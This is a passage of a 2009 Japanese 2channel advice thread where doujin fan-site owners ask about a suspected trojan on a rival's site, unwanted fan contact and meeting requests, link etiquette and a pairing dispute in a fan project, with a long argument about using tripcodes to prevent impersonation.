その上でフィクションとして書いてるって可能性もあると思うんだけど

85 ：スペースNo.な-74：2009/10/19(月) 22:06:02

>>78
相手が78を嫌いなんじゃなくて、（いや相手も勿論嫌いだろうけど）
78『が』相手を物凄く嫌悪してるんだよね？どっちが先に嫌ったとかナシね

そこまで嫌悪感丸出しだとごく普通の事でも尖らせそうだから、
微妙なラインは触らない方がいいよ
他の人の言うとおり、できて幸の管理者通報で
ウィルス感染の疑いありって報告するくらいが限度じゃないかな

86 ：スペースNo.な-74：2009/10/19(月) 22:25:25

78です

短時間のうちにたくさんアドバイスをありがとう
発見した状況だけど、サイト閲覧中に
ウィルスチェックソフトがトロイの木馬を検出した

あまり詳しくないので断言できないけど、さっきGENOスレみたら
また最近になって流行り始めているみたいだった
もしかしたらそうかもしれない
鯖に通報と、幸管理人にも知らせておくことにするよ

87 ：スペースNo.な-74：2009/10/19(月) 22:30:24

>>83に一票。
自分は鯖に通報するだけで済ませてる。
意図が被害拡大を防ぐ事になるなら、それが一番確実。

88 ：スペースNo.な-74：2009/10/19(月) 22:31:04

リロってなかった。ごめん。

89 ：70：2009/10/20(火) 00:14:37

マッチョ野郎×美少年が実は好きな>>70です。レスありがとうございます。
皆様のご指摘どおり、フィクションはフィクションと割り切ることにします。
もちろん、相手のサイト様に凸することもしません。
あくまでフェイクですが、「相手の読んだ本を追って読む」というシチュそのものは萌えなので、
それを第三者が暴くことについては、できれば「個人情報漏洩、らめぇえええ」という一文を入れて欲しかったとは思うのですが、
それはもう、自分が書いているような、マッチョ野郎が未成年男子をｺﾞｶｰﾝとか、
様々なフィクションで描かれているような、いわゆる「犯罪行為」と同じように
作者も読者も、あくまでフィクションだということが了解されているのだと思って納得します。

なにより、そのサイトで書かれる作品が、私にとって萌えどストライクなので、
閉鎖されるなどということにはなっていただきたくないと思っています。
そのサイト様とは、おそらく相互リンクの関係にこれからなると思います。
（うちのサイトにリンクしたいというメールをいただきましたので。）

ご意見ありがとうございました。
相手サイト様にご迷惑をおかけしないように、こころおきなく萌えようと思います。

90 ：スペースNo.な-74：2009/10/20(火) 00:29:52

>>89
言ってる内容は変態乙なのに文章が丁寧すぎで吹いたｗｗ

91 ：スペースNo.な-74：2009/10/20(火) 00:40:31

自分は未成年強姦書いといて、相手の創作には現実同視の正義厨かよ

92 ：スペースNo.な-74：2009/10/20(火) 01:02:29

というより
＞できれば「個人情報漏洩、らめぇえええ」という一文を入れて欲しかったとは思うのですが
何も理解できなかったと見える
相手管理人さん乙だ
親しくならない事を祈る

93 ：スペースNo.な-74：2009/10/20(火) 03:10:32

>>89
自分は良くて、相手はダメだとか頭大丈夫？
自分のことしか可愛いと思えなくて、他人のことは考えられないなら相手も迷惑だよ…

94 ：スペースNo.な-74：2009/10/20(火) 07:02:38

相手側ではなく、89がこれから相互リンクを申し込むと見た。
単純な貼り返しがないとか、相互リンクをＯＫして貰ったとしても
交流が全くないという状態も普通によく有ることは覚えて置いて欲しい。
何か面倒そうな人だから、うっかり相互した相手から距離を置かれる
（と言うか最初の状態から距離を縮められない）事は普通に考えられるから。

95 ：スペースNo.な-74：2009/10/20(火) 07:03:32

ああ、読み間違った。相手から申し込まれたのか。こりゃ悪かった。

96 ：スペースNo.な-74：2009/10/20(火) 07:37:09

フェイクだろそれもｗ

97 ：スペースNo.な-74：2009/10/20(火) 07:40:42

どうどう

98 ：スペースNo.な-74：2009/10/20(火) 08:00:02

自分は犯罪行為書いても別に気にしないが
相手が書くのは許せない
でもフィクションだと割り切って納得してあげるって
すげえな…

99 ：スペースNo.な-74：2009/10/20(火) 08:19:50

>>89は釣りでしょ？
釣りじゃなかったらこんな変なのに
目を付けられてる相手サイトが可哀想だ。

100 ：スペースNo.な-74：2009/10/20(火) 08:27:02

なんかこれからも自分の気に入らないシチュがあると
いちいち「これ犯罪なのに！」って粘着されそうで
相手サイトが心底気の毒

101 ：スペースNo.な-74：2009/10/20(火) 11:18:12

相談者が締めた時点で　回　答　終　了　。

102 ：スペースNo.な-74：2009/10/20(火) 12:14:23

回答じゃなくて雑談ｗ

103 ：スペースNo.な-74：2009/10/20(火) 21:10:46

誰か70のサイトに「性犯罪、らめぇえええ」ってコメ送ってやれよ

104 ：スペースNo.な-74：2009/10/20(火) 22:49:37

気持ち悪い流れだな

105 ：スペースNo.な-74：2009/10/20(火) 23:16:48

ID出なくなると途端に相談が釣りくさく見えてくる
初回からトリつけるだけでも印象全然違うのに
ここまでそういう人いないし。
次の人はぜひトリつきでドゾー↓

106 ：スペースNo.な-74：2009/10/21(水) 04:46:40

いきなり何を勝手な事を言っているんだ

107 ：スペースNo.な-74：2009/10/21(水) 05:10:18

でも前々から相談者やその関係者を装う第三者がまれにいるんで
ID関係無しに相談者はトリ付けしても良くないか？そこまで手間でもないし
特に今は脳板に移動後、厨関係のスレに愉快犯が出没してるので
先を打っておくにこしたことない

108 ：スペースNo.な-74：2009/10/21(水) 06:46:05

>>107
106が勝手な事といったのは>105が相談がつり臭くみえると
言った点だと思う

でも鳥つけるのは賛成だな
折角の相談スレが荒れるのは困るもんな
今後相談の人はﾄﾘ忘れずにね

109 ：スペースNo.な-74：2009/10/21(水) 20:37:10

フェイクあり

自サイトは開設して５年
２日に１回１枚以上オエビイラストを更新し
ログも1000枚以上公開しており
オフでの発行物も200Pの再録本３冊以上あります

拍手はありませんが、メールフォームが有り
いただいたメールには全て返信しています
以前不着トラブルが相次いだので、返信後はサイトの方で
「～日までの返信は全て完了済み」と書くようにしています

この自サイトに、突然ジャンル古参のAさんから
オエビのログ全て、１枚１枚への感想
漫画１本１本への感想が４０頁以上のPDFファイルで届きました
※先方の自鯖うｐで、リンクが貼ってあります
今までは感想を頂いたことは有りません

ほぼ全ての感想に、「これは～××ですね！～でしょうか？」
といった返信を要するようなコメントがついており
その疑問に答えるべきなのか、スルーすべきなのか
先方のサイトのイラストにも同様にコメントを返した方がいいのか…

正直に言えば怖いのですが、自分はAさん主催の企画に関わっており
半年はオフでも関わる機会があるので悩んでいます
元々メールの返信や交流が苦手なので、こういったケースで
どういう返信が良いのか思いつきません

110 ：スペースNo.な-74：2009/10/21(水) 20:51:00

>>109
別に同じように返す必要は無いでしょう
お礼と、相手の作品に好きなものがあれば
それについて一つ二つ、もしくは相手の最新作品に感想送ればいいくらいじゃない？

しかしすごいね。それだけ一枚一枚読み込んで感想書いてくるって。
自分も好きなサイト見つけた時に、過去作品までさかのぼって感想送ることあるけど
全部なんて無理だわ

それから、相談者はトリップ付推奨ってひとつ上のレスでも書かれてるよー

111 ：スペースNo.な-74：2009/10/21(水) 20:51:48

>>109
「このたびは大変熱い感想をありがとうございました。
　本当にびっくりするような量で、当HPをこんなに熱心に
　見ていただけるとは思いませんでした。
　リアルが忙しいため、一つ一つへのお返事は難しいのですが
　全てありがたく読ませていただきましたのでご了承下さい^^；」
って感じで流してみる…

でも怖いな。

112 ：スペースNo.な-74：2009/10/21(水) 21:13:19

>>111
文の最後のゴミは必要ないだろ
普通に句点でいい

113 ：スペースNo.な-74：2009/10/21(水) 21:14:48

＾＾；って使っている本人はどうだか知らないが
すごく腹立つよな

114 ：スペースNo.な-74：2009/10/21(水) 21:23:36

>>109
たかだか100ちょっとのレスも読めないバカに付けるレスはありません。
顔洗って、トリップ付けて出直してきてください。

115 ：スペースNo.な-74：2009/10/21(水) 21:25:37

>>112
そこはあえて＾＾；を付ける事で嫌悪感を醸し出してるんじゃね？

116 ：スペースNo.な-74：2009/10/21(水) 21:28:28

>>114
どのスレでも>>1は必読だと思うが
なんでたかが相談スレで過去ログ読まないとならんの
>>1読めで十分だろ

117 ：スペースNo.な-74：2009/10/21(水) 21:30:05

>>115
オフで半年もかかわりあるんだからヘタに嫌悪感かもすよか
事務的に返したほうがいいだろ

118 ：109：2009/10/21(水) 21:31:53

トリップすみません
回答ありがとうございました

119 ： ◆iBELf1rhWE ：2009/10/21(水) 22:02:42

相談です（フェイクあり）。板違いなら誘導お願いします。

二次創作サイトでオフもやっています。
来年自ジャンルにて公式イベントがあるのですが、チケットを取ることが出来ました。
他のサイトさんも当落について結果を書いていたので
私もあまり深く考えずに日記に受かったと書いたのですが、
こんな拍手が来ました。

公式イベント当選おめでとうございます
自分も当選したんです。お席はどのへんですか。今度のイベントでどこのお席かお尋ねしてもいいでしょうか？
結構皆様落ちているので自分だけが…と心苦しいです。
でもせっかく受かったので素直に喜び、またあなた（私のことです）とお話したいと思っています。
とりあえず次のイベントでお邪魔しに行きます。（名前）

今はあまり深く考えずに日記に当落について書いてしまったのは
浅はかだったか…と反省しています。
相手の方は初めて拍手してくださった方で、特別交流などはありません。
スペースに来られると面倒なことになりそうなので、
（というか、何を話せばいいのか分からない…）
出来れば日記からレスに誘導し、
「そういったお話は出来ませんのでご遠慮ください」といったコメントを返したいのですが、
これはまずいでしょうか？

120 ：スペースNo.な-74：2009/10/21(水) 22:07:15

何がまずいと思うの？

121 ：スペースNo.な-74：2009/10/21(水) 22:13:40

>>119
「公式イベントでは同人関係のことは切り離して集中したいので、席をお教えすることは致しません。
また、スペースに来られても公式イベントのお話は致しません。どうかご理解ください」
くらい言っちゃっていいと思う
しかし友人でもないくせにうぜえな('A`)

122 ：スペースNo.な-74：2009/10/21(水) 22:18:01

>>119
会いたくないなら、そう返事したらいいんじゃない？
「人見知りが激しいので、オフでお会いするのは遠慮させてください」とか
「一緒に行く友人がいて、予定が決まってるのでお話する時間はとれない」とか

空気読めなさすぎる相手だと、「友人が～」って言っても
「じゃあご一緒に」って言ってくる危険もあるけど

123 ：スペースNo.な-74：2009/10/21(水) 22:21:00

>>119
自分も似たようなメール貰って、やんわり断ったのに粘着されたことある
その時はぎりぎりまではぐらかしておいて、
前日に「急用でイベント行けなくなってしまった」って返事した
オフで顔バレしてなかったから、普通に行ったけどね

ただこれやると、行ってきましたー！って日記は書けなくなるな

124 ：スペースNo.な-74：2009/10/21(水) 22:47:43

>>119
Q，お尋ねしてもいいでしょうか？
A，ご遠慮ください
それでいいんじゃないでしょうか
会いたい・話したいと要求されたら断っちゃいけない、なんて事がある訳でなし

イベントに来るな。までは強制できない気がするけど
先にレスでお断りしておけば、
イベントで質問されても
「サイト上での回答通り、その質問にはお答えできません」「その話題はご遠慮ください」
でシャットアウトしやすいんじゃない

125 ：スペースNo.な-74：2009/10/21(水) 23:02:22

「そういった質問はお答えしかねます。またスペースでの公式イベントの件に
ついてのお話もご遠慮ください」でいいんじゃないかな。
まあ普通の人ならこれで迷惑に思ってることを察して、
スペースに来ないとは思うけど

126 ：スペース№な-74：2009/10/21(水) 23:22:56

自分もナマやってるんで「○日○月のライブに行きます！」と日記で予告すると必ず
「私もその日に行きます。お会いしたいのですが～」と※がくる。
２～３回※くれた人でもそういうのって距離感無くてドン引きする。
　
サイトを見て勝手に親近感を持たれても、こっちからしたら全然知らない人だし。
ライブ毎に一閲と会っていちいち気を使わなきゃいけないなんて面倒臭！
サイトの日記通りに、リアルでも楽しく萌え語りが出来る人間だと思われて
こっちがリップサービスしてやらなきゃいけない感もあって
ライブ自体を楽しめなくなりそうで嫌！
　
とはハッキリと言う事は出来ないので自分の場合は
注意書きにこっそりと「ライブではどなたともお会いする様な事は致しておりません」と書き足して
レスには「そっち（注意書き）を見て下さいね（ニッコリ）」とサクっと返しておいた

127 ： ◆iBELf1rhWE ：2009/10/21(水) 23:34:06

>>119です。
いきなりのこんな※がきたのでついてんぱってしまいましたが、
普通に考えれば見知らぬ人からの一方的なお誘いを
お断りするのはおかしくないですよね。

返事をしないとイコールＯＫと受け取られそうなので、
きっぱりお断りしようと思います。
本当は「そんなの知るか！　話すことなんてないよ！」
って答えたいところですが
しつこく誘われたら「イベント会場から家が遠いので、行って帰るだけでせいいっぱい」
と言ってみます。

拍手にはレスの要・不要をチェックできるようにしているのですが、
この人は「不要」にチェックしていて、
なんというか、確信犯のような印象がありまして…
「断っても粘着されそう。スペースに来たらどうしよう」と思うとちょっと怖かったんです。
イベント会場では出来るだけ友達にスペースにいてもらえるようお願いしてみます。

というかこういう※結構来るんですね…。距離なしってこわい。
レス下さった方、ありがとうございました。

128 ：スペースNo.な-74：2009/10/22(木) 14:25:37

オレの知り合いは
「申し訳ないのですがライブはあなたを見に行くわけではありませんのでお断りします」って
断ってたなぁ

129 ：スペース№な-74：2009/10/22(木) 15:59:03

すごい勇者っぷり！

130 ：スペースNo.な-74：2009/10/22(木) 22:25:15

> というかこういう※結構来るんですね…。距離なしってこわい。

世間知らずのあんたもこわい

131 ：スペースNo.な-74：2009/10/23(金) 01:02:08

最近ファンになった方が過去に発表された作品を見たところ、少し前に自分が描いてネットに発表した作品とネタが被っていました。
消して謝罪するべきでしょうか…

132 ：スペースNo.な-74：2009/10/23(金) 01:04:17

釣りじゃないのなら
相談者はトリップをつけてください

133 ：スペース№な-74：2009/10/23(金) 01:10:25

何で？何に対して謝罪する必要性があるの？
意味わからん

134 ：スペースNo.な-74：2009/10/23(金) 01:21:13

どうせテンプレネタが被った程度だろ
すげー自意識過剰

謝罪するってんなら「私は○○様のネタをパクリました」くらい言えば？
だって謝罪するくらいなんだから悪い事をしたんでしょう？
悪い事してないならネタが被った程度で謝罪の必要も削除の必要もないんだけど

135 ：スペースNo.な-74：2009/10/23(金) 02:07:38

相談お願いします（フェイクあり）

斜陽ジャンルの上、ヒキサイトなのですが、
新規サイトからリンクの申し込みをされました。
そのサイトの傾向は、カプ・シチュなど、とても共感できるものだったのですが、
そのサイトで今メインとなっているらしい長編が、
自分としては、許容できない地雷のシチュでした。
（例えば、カプはＡ×Ｂなのに、そのＡＢが父×娘になっていて、
原作では男性のＢが美少女キャラになっているような）

自ジャンルは、すでに斜陽なので、相互リンクの関係になると、どうしても、
掲示板やメールのやりとりなど、しないわけにはいかない雰囲気です。
そういう中で、「Ａ×Ｂは好きですが、父×娘の近親相姦は地雷です」
と言ってしまったら、相手に対して失礼でしょうか。
ちなみに、Ｂの女体化そのものは好きなので、自分のサイトではメインの扱いです。
Ａ×Ｂが、兄妹の関係になっているようなものもかいてしまったこともあります。
が、だからと言って、父と娘が近親相姦の話というのは、生理的に受け付けることができません。

Ａ×Ｂを兄妹の近親相姦で書いてしまったために、趣味が同じだと思われたのかもしれませんが、
「Ｂの女体化を書いているから、父娘モノもＯＫ」と思われるは、正直、つらいです。

でも、これはガマンしなければならないのでしょうか。
それとも、理由を正直に言って、リンクをお断りする方がいいのでしょうか？
なんとか、かどが立たないようにすることはできないのでしょうか？

136 ：スペースNo.な-74：2009/10/23(金) 02:11:17

>>135
理由を言わないで事務的に断るって手はなし？

137 ：スペースNo.な-74：2009/10/23(金) 02:18:16

>>135
リンクの申し出って言うのはリンクしていいか聞かれただけじゃなく
相互リンクの申し込みだよね？

135が相互受付してないならそう返せばいいだけじゃね？
リンクに注意事項書いてないなら今後は「相互リンクは～」て書いて置け

138 ：スペース№な-74：2009/10/23(金) 02:22:58

137とちょっとかぶるけど、リンクはリンクフリー？
それとも「リンクして頂いたらこちらからもリンクします」と提言しているの？
前者だったら「リンクありがとうございます」の一言だけで
こっちからリンクせずに済ませたらいいんではないの？
　
兄妹はＯＫなのに父娘設定は何でダメなの？と疑問を持たれるのがオチ。
本当の理由は、波風が立ったり最悪閉鎖されたりする事もあるから
言わない方がいいと思う

139 ：スペースNo.な-74：2009/10/23(金) 02:22:59

なんでトリップつけないんだろう…

140 ：スペース№な-74：2009/10/23(金) 02:25:28

sageてもいないし
いきなり駆け込んできた初心者なんだろ

141 ：スペースNo.な-74：2009/10/23(金) 03:29:01

相談しにくくなるレスをわざわざつけるのは、何故なんだろう

142 ：スペースNo.な-74：2009/10/23(金) 04:51:06

>>140
前から相談者はageていい、むしろageろと言われてたが
移転してその辺のルールも変わったのか？

143 ：スペースNo.な-74：2009/10/23(金) 05:44:19

変わってないよ
>>140がこのスレの初心者なんじゃない？

144 ：スペースNo.な-74：2009/10/23(金) 08:57:38

トリップつけない相談はスルー。
ちょっと上のﾚｽも読めないやつに回答する気にもならん。

145 ：スペースNo.な-74：2009/10/23(金) 09:16:34

トリップわからないひともいるんじゃないかね
わからないからつける意義を知らないとか。
そのくらい調べろって人がいるのもわかるけど
トリのつけ方調べられる人なら自力解決できるような程度の
相談も数多いわけでｗ

一応前スレから拾ってきたトリのつけ方と付けてもらいたい理由↓

※同人ノウハウ板へ移転しIDが出なくなったため、相談者はトリップつけ推奨です。
トリップの付け方→名前欄に#（半角）に続けて適当な文字列を入れる。これだけです
パスワードが同じであれば同一サーバ内では日付やスレッドが変わっても同じトリップが
つくので、騙りが防止できます。

146 ：スペースNo.な-74：2009/10/23(金) 09:19:20

次スレからは>>1にトリをつけることと、トリのつけかた入れるべき
携帯とかだとわざわざ戻ってまで見ない

147 ：スペースNo.な-74：2009/10/23(金) 09:23:41

>>1には既に
IDが出ない板なので、名前欄にトリップ推奨です。
とは書いてあるんだけどね

148 ：スペースNo.な-74：2009/10/23(金) 09:26:55

>>1に
＞IDが出ない板なので、名前欄にトリップ推奨です。
があって、ここまでで指摘されずに最初からトリップつけてたの
一人くらいだったように思うし
次スレはトリのつけ方入れるのと
推奨じゃなく、お約束とした方がいいような

149 ：スペースNo.な-74：2009/10/23(金) 09:32:20

>>1のまず最初に

※同人ノウハウ板へ移転しIDが出なくなったため、相談者はトリップ必須。
トリップの付け方→名前欄に#（半角）に続けて適当な文字列を入れる。
文字列が同じであれば、同一サーバ内では日付やスレッドが変わっても
同じトリップがつくので、騙りが防止できます

これでいいんじゃね?

でも、このﾚｽ以降の相談者は鳥つけないと思うぞw

150 ：スペースNo.な-74：2009/10/23(金) 10:33:30

鳥付いてない相談はスル－を徹底したらいいんでない？

151 ：スペースNo.な-74：2009/10/23(金) 12:59:08

回答者へ：トリップのついていない相談はスルー推奨
も入れるとか

まあ、次スレまで長いけどｗ

152 ：スペースNo.な-74：2009/10/23(金) 16:31:27

トリ付けないのは騙りが出てもいい覚悟があるってことでしょ？

153 ：スペースNo.な-74：2009/10/23(金) 16:56:37

ここにきた以上は相談に乗るがトリ忘れトリバレによる騙りが出た場合
それで誰が本物かわからなくなって荒れた場合、以降は一切関与しない無視の方針、とかでいんじゃね？

騙り防止の為のトリだし、それを忘れたってのもぶっちゃけ「はぁ？」って感じだし

154 ：スペースNo.な-74：2009/10/23(金) 18:45:13

どうしてそんなにルールルールってこだわるの？
騙りが出たって自業自得、答えたいやつは答えるでいいじゃね？

155 ：スペースNo.な-74：2009/10/23(金) 18:51:36

IDが出ないから懸念してるんだと思うけど
今まで騙りとかそんなにいっぱい出てたの？
結構ながいことこのスレにいるけどそんな騙りってしょっちゅう出てたかなあ

156 ：スペースNo.な-74：2009/10/23(金) 18:57:32

脳板全体にむやみやたらと叩きレスするやつが流れ込んでるんじゃね？
他スレ見ててもここんとこものすごくそんなのが増えてる。

157 ：スペースNo.な-74：2009/10/23(金) 19:47:08

わざとやってる人間がいるのは事実
相談者にとっても回答者にとっても混乱の元だし
やっぱり可能な限りトリップは付けた方が、ムダなスレ消費や
炎上に結びつかなくて結果が出やすいと思うよ

158 ：スペースNo.な-74：2009/10/23(金) 20:05:09

IDの出ない板の場合相談内容が数レスにわたるだけで
本当の相談者かどうかわからなくなることもあるんだよね
IDが出る板でも複数回報告や相談が続く時はトリップ必須
ちなみにどちらも驕りがでたのを見たことがあるよ

少なくとも何か困った事があるから相談にきたところでトラブルになったら
相談者が大変なので、相談者を守る意味でもあると思う

159 ：ねこま：2009/10/24(土) 03:26:25

・騙り発生で混乱、最悪荒れるのを防ぐ
・似たような相談のため混同してアドバイスするのを防ぐ
目的があるからつけた方が双方ともにいいと思うよ。

個人的に思うのは「相談するのになんでいきなり投下？」とは思う。
高尚な回答者は来なくていいと思われるかもしれないが
スレの空気を見て投下せず（１レス前に書かれたことや数レス前に
かなり似たような相談があるにもかかわらずそのまま相談）
空気見て投下したとしても「トリップ？わからんからそのまま相談」する相談者は
はっきり言ってその状態が「まわりの空気見たり調べたりしないからそうなるんじゃ？」
と思ってしまう。
相談と質問は違うかもしれないけど
質問スレだったらたった数レス、１レス前の質問に似た質問を繰り返すやつや
調べりゃわかることを質問してググれカスと厳しいレスがつくのに
相談だからって甘めに考えてるとしか思えない。
そんなあと数時間以内に結論ださなきゃやばいレベルのものでないんだから
せめて前１００ぐらいは読めよ、と思う。
そんな相談する場所がどんな状態かわからないのによく相談できるなと。
【同人】てわざわざついたのもスレの内容読んだら明らかに
「相談場所違うな」と思うような同人全然関係ない質問がきたからということもあるんだし

160 ：スペースNo.な-74：2009/10/24(土) 03:38:45

>>159
個人的な意見はチラシにでも書いとけ

161 ：スペースNo.な-74：2009/10/24(土) 04:10:18

騙
似
目
までよんだ

162 ：スペース№な-74：2009/10/24(土) 05:05:39

>>158で納得出来たので相談しにきてみたら
>>159のせいで相談する気が失せた…

163 ：スペースNo.な-74：2009/10/24(土) 05:13:28

相談者は自分の為にも、皆の為にもトリ推奨。

次の方どぞー。

164 ：スペースNo.な-74：2009/10/24(土) 06:08:37

それで相談する気が失せて解決する問題なら、
初めから自力でどうにかしてください

165 ：スペースＮｏ．な-74：2009/10/24(土) 06:44:18

>>159みたいな板主勘違い厨が張り付いているとしたら自分も他所いくな
自分ルールに捕われた視野が狭い奴からは的確なアドバイスが返ってくるとは思えん
こんなピリピリした所で相談する気にはなないしなー

166 ：スペースNo.な-74：2009/10/24(土) 06:56:03

はいはい
なないなない

167 ：スペースNo.な-74：2009/10/24(土) 09:19:51

>>165
そんなたった1ﾚｽで、全てを「視野が狭い」と断言するお前さんは、
余所へ行っても、pgrされて終わりだよw

視野の狭い奴のﾚｽなんてｽﾙｰすればいいだけで、
参考になるﾚｽだけをチョイスするのがここのｽﾚ。
それもできないんだから、2ch自体に来る方がおかしい。
馴れ合いSNSにでも行けばいいよ。

168 ：スペースNo.な-74：2009/10/24(土) 09:40:00

相談ごとがあって、他に候補地があるなら
相談する気しないスレを読んだり書き込んだりしてないで
自分が適切だと思う場か人に相談した方がいいよ。マジで

169 ：スペースNo.な-74：2009/10/24(土) 10:04:20

IDが出ないからって雑談しすぎだろ

相談者はトリップ推奨、付けてなかったらまず付けるようにうながす
でいいんじゃないの

170 ：スペースNo.な-74：2009/10/24(土) 18:05:29

教えたがりが多いからトリップ付けてないバカに付け方を優しく教えてあげて、それからレス付ければいいのに

171 ：スペースNo.な-74：2009/10/24(土) 20:13:44

いつまで雑談してるの？馬鹿なの？

172 ：スペースNo.な-74：2009/10/24(土) 20:16:09

バカだからに決まってるでしょ

173 ：スペースNo.な-74：2009/10/24(土) 20:20:45

２時間ぶりに雑談再開

174 ：スペースNo.な-74：2009/10/24(土) 20:24:14

相談者は自分の為にも、皆の為にもトリ推奨。

次の方どぞー。

175 ：スペースNo.な-74：2009/10/26(月) 02:42:53

黒マンコいくない

176 ：スペースNo.な-74：2009/10/26(月) 19:20:04

えーっと、じゃあちょっといいでしょうか

当方数字系二次サイト持ち。
それで、なんか「ストーカーさせて頂きますん！よろしこ！」みたいなメールが
来て、いや、送り主の方はメルフォでやりとりするかぎり普通だったんです。
礼儀もきちんとしていましたし。

それが先月の話。今では好きなカプから好きな漫画やらで盛り上がりまくり
相互する仲に。それで、いつもむこうからコンタクトを取ってくれていたので
たまにはこちらから…と思ってその方のメルフォに適当に打ち込んで送信しようと
したらメールアドレス記入必須でした。それで普通に記入して、いわゆる直メ仲になったんです。

それでさっそく返信が来たんですが、なんか、本名と思わしき名前が……
例→山田　田悟作 [[email protected]]
みたいな感じで。（メルアドは架空のものです）

もんのごっつい気まずいんですが……これは向こうに教えてあげたほうがいいのでしょうか
どうやったら消せるか教えてあげたいのですがどなたか御存知ないでしょうか？
すいません、相談した方にこちらを勧めて頂いたもので、２チャンネル慣れしないなくてすいません。

どなたかお力をば……

177 ：スペースNo.な-74：2009/10/26(月) 19:30:57

教えてあげたいなら教えてあげる
スルーできるならスルーする
その程度の問題だと思います

2ch慣れしてないと謝る前に、スレの>>1と空気を読むことをお勧めします

178 ：スペースNo.な-74：2009/10/26(月) 19:46:42

>>177
うんわかったごめん
無理に丁寧語にしたのがだめなのよねたかしちゃんごめんね

とりあえずスゲー困ってる
ググっても出ないし……どうすればいいでしょうか

179 ：スペースNo.な-74：2009/10/26(月) 19:51:51

>>178
首の上についてるのが飾りなら回線切って寝ろ
頭だってんなら百年ROMって自分で考えろ

180 ：スペースNo.な-74：2009/10/26(月) 19:54:39

グーグルじゃなくてメーラーのマニュアルを読むか相手に読ませるんだよ

181 ：ネ困 ◆aQrp5SsEyk ：2009/10/26(月) 20:00:27

相談お願いします。フェイクあり。

どちらかというと規模の小さいジャンルで、女性向けサイト（オン専）をしています。
去年の春頃、ジャンル内の神サイトとされているＡさん（仕事の関係上オン専）と
比較的新規で参入したＢさん（オンオフ両方）の2人が主催で、企画専用の鯖を借りて1年間
限定で、◎（ジャンルのメインキャラ）の作品展示の企画をしました。
内容は「◎キャラを好きな人なら受け攻め関係なく投稿してしてください！」といったオープンなもので、
自分を始め、多数の管理人さんが投稿。とても賑わい、月一で茶もしたり楽しいものでした。
ただ、投稿の際「受け攻め問わず」とあったものの、やはり管理人同士遠慮があったのか、
なるべくカプ要素のない書き方を（自分を含め）誰もがしていました。
ジャンル内では「◎攻め5割・◎受け3割・リバ2割」といった感じで、Ａさんと自分は◎受け。
Ｂさんは◎攻め描きで、◎受けも一応読むといった感じでした。

今年も「◎キャラ好きの投稿企画」という事で、Ｂさんが鯖を借りて投稿者を募集し始め、
私を含め去年のメンバーすべてが現在名乗りを上げています。
流れとしては
「11月上旬まで募集」→「11月中旬にメンバー一覧をサイト上に掲載」→「11月末からＢさん宛てに投稿」
→「Ｂさんが編集して鯖にアップ・展示」という予定。
去年と異なるのは、一方の主催であるＡさんが、仕事の都合で海外（ネット環境がよくない地域）に
半年ほど行ってしまうため、実質上、今回の企画はＢさん単独で行うと言う事です。

182 ：ネ困 ◆aQrp5SsEyk ：2009/10/26(月) 20:01:13

それ自体は特に気にしなかったのですが、先日Ｂさんの日記に
「本当の事を言うと、自分はあまり◎受けは好きじゃない。どちらかというと地雷に近いかも」
といった主旨の事を書いてたことです。
それまでは、そういった話を書かなかった人が、何故「今」こういった事を書くんだろう、と思っていたの
ですが、他の◎受けサイトの人が「遠回しに、◎受け書きは企画参加を遠慮しろ、って事なのかな」と
不安がってたりで、少し微妙な雰囲気になっています。
ストレートにＢさんに聞くのも憚られるし、中には「いっそ◎受けだけで別企画しようか」と変に物事を
持って行こうとする人も出たりで困惑しています。

このまま、Ｂさんの日記についてはスルーして企画に投稿するほうがいいのか、ストレートにＢさんに
日記の内容について聞いたほうが良いのか。
それとも、企画そのものの参加を別の理由をつけて辞退したほうがいいのか（今ならサイト上に
参加メンバー一覧が出ていない状態なので）アドバイスお願いします。

183 ：スペースNo.な-74：2009/10/26(月) 20:04:17

>>181
>>181自信が、それでどう困ってるのか書いてほしいんだが。
何に困ってるの？

184 ：スペースNo.な-74：2009/10/26(月) 20:18:26

>>182
Bさんが日記のぼやき以外では何の表明もしていないなら、
あとは181がどうしたいかで決めていいんじゃない？
このまま気にしないで参加するのも、
問い質してはっきりさせるのも（企画内容に何も書かれてないいないならもし◎受けに参加されるのが嫌でも決して言わないだろうけど）
すっきりしないので辞退するのも、181の気持ち次第だよ

185 ：スペースNo.な-74：2009/10/26(月) 20:21:20

はっきりと確認した方がいいと思うよ
801の逆カプでもめることって多いし、受け攻めが逆は一切ダメという人の方が多いし

186 ：ネ困 ◆aQrp5SsEyk ：2009/10/26(月) 20:37:02

アドバイスありがとうございます。そして説明不足ですみません。
具体的に困っているのは、◎受けサイトの管理人さんたちから
「●（私）さんが書くなら書く。そうでないなら辞退する」という人が何人かいる事と、
◎攻めサイトの人からは
「◎受けで辞退するのが増えると「◎攻めが追い出した」と思われるから困る」と言われていることです。
最初は企画に参加しようと思っていたのですが（そのほうが事を荒立てないと思ったので）
「地雷」とまで書かれている事を考えると、迷ってしまってたのでここに相談しました。
現在不在のＡさんは「◎好きなら受けも攻めもない！皆で盛り上げるべき！」という人だったので
Ｂさんも自分の意見が出せずにいたのかもしれません。

こちらの意見を参考に対処しようと思います。ありがとうございました。

187 ：スペースNo.な-74：2009/10/26(月) 21:09:41

AがBに任せてしまった以上はBに準じるしかないんじゃね？
Bに確認とってやめたほうがいいかどうか自分の判断ですればいい

でた結果をその時点でAにメールし（いつ戻るかわからないとしても）
それで今の時点は終了
帰ってきてAがメールを見てBと揉めるかどうかはAとB次第

188 ：スペースNo.な-74：2009/10/26(月) 21:17:54

〆た後だけど、やり方次第だと思うよ。
みんな楽しめ!と言っても好き嫌いあるのは仕方ないから。
作品群を分ける。

今年も◎祭り!!「お好きなのを選んでね!」
・◎攻
・◎受
・◎その他

地雷のことは言わないで、「みんなが参加しやすいように分けたらどうかな?」と提案する。
そうしたら、「閲覧」の際に地雷踏むことはない。
受の人も攻の人も参加しやすいと思うけどなぁ。

189 ：スペースNo.な-74：2009/10/26(月) 21:20:49

今回はＡさんは完全にノータッチなんじゃないの？
いっそ、受け攻めどっちも容認できる第三者が主催して
そっちで人を集めた方がいい気がするけど

190 ：スペースNo.な-74：2009/10/26(月) 21:23:23

逆に181がBさんの編集作業を手伝って地雷を目にする機会を減らせるよう提案するとか
◎受作品は181の所に送ってくるようにして編集してあとはアップロードするだけの物をBさんに渡すとかさ

そんな風に協力しましょうか？って提案してみたら？

191 ：スペースNo.な-74：2009/10/26(月) 21:24:01

Bさんが「◎受けは見なければ大丈夫」な人なのか、
「存在すらも許せない」って人のなのかで違ってきそうだな..＞作品群分け

なまじ参加者の人達の方が配慮があるあたり、
Bさん以外が主催はいいかもしれんな

192 ：スペースNo.な-74：2009/10/26(月) 21:25:35

でも他の人が主催でそっちに人が集まったら
Bさんをハブることになってしまうんでない？

